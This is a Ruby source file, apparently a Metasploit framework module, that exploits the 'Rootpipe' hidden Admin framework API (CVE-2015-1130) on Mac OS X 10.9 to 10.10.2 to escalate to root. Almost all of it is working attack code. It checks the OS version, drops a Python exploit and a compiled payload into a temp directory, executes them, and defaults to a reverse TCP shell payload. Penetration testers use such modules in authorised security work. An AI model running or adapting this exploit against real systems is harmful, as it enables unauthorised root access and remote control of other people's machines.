95 lines
2.9 KiB
Ruby
95 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Local
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Rank = GreatRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
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'Description' => %q{
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This module exploits a hidden backdoor API in Apple's Admin framework on
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OS X to escalate privileges to root. Dubbed "Rootpipe."
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Tested on Yosemite 10.10.2 and should work on previous versions.
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The patch for this issue was not backported to older releases.
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},
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'Author' => [
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'Emil Kvarnhammar', # Vulnerability discovery and PoC
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'joev', # Copy/paste monkey
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'wvu' # Meta copy/paste monkey
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],
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'References' => [
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['CVE', '2015-1130'],
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['EDB', '36692'],
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['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
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],
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'DisclosureDate' => 'Apr 9 2015',
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'License' => MSF_LICENSE,
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'Platform' => 'osx',
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'Arch' => ARCH_X86_64,
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'SessionTypes' => ['shell', 'meterpreter'],
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'Targets' => [
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['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
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'CMD' => '/bin/zsh'
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}
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))
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register_options([
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OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
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OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
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])
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end
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def check
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if ver_between(osx_ver, '10.9', '10.10.2')
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
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python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
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binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
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payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
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print_status("Writing exploit file as '#{exploit_file}'")
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write_file(exploit_file, python_exploit)
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register_file_for_cleanup(exploit_file)
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print_status("Writing payload file as '#{payload_file}'")
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write_file(payload_file, binary_payload)
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register_file_for_cleanup(payload_file)
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print_status('Executing payload...')
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cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
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cmd_exec(payload_file)
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end
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def osx_ver
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cmd_exec('sw_vers -productVersion').to_s.strip
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end
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def ver_between(a, b, c)
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Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
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end
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end
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